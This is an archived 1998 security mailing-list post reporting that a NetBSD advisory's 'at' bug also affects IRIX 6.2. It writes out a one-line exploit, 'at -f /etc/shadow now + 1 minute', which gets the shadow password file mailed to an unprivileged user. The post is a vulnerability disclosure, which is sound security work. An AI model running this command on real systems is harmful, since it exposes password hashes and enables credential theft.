[ http://www.rootshell.com/ ]

Date:         Fri, 3 Jul 1998 22:14:14 +0200
From:         "J.A. Gutierrez" <spd@GTC1.CPS.UNIZAR.ES>
Subject:      more about 'at'

    I've tried the trick from NetBSD Security Advisory 1998-004
    on an IRIX 6.2 host, and it seems it works too.

        $ at -f /etc/shadow now + 1 minute
        -> shadow is mailed to user:

    'at' is:

        f 23947    91 patchSG0002866.eoe_sw.unix m usr/bin/at

    there is an earlier patch for a buffer overrun on at, I guess
    the fix is also included in patchSG0002866; but the '-f'
    bug is still present.

    (IRIX 5.3 has no problem since its 'at' lacks of '-f'
    switch)


--
finger spd@gtc1.cps.unizar.es for PGP       /              So be easy and free
.mailcap tip of the day:                   /      when you're drinking with me
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day
text/x-vcard; cat '%s' > /dev/null       /            (the pogues)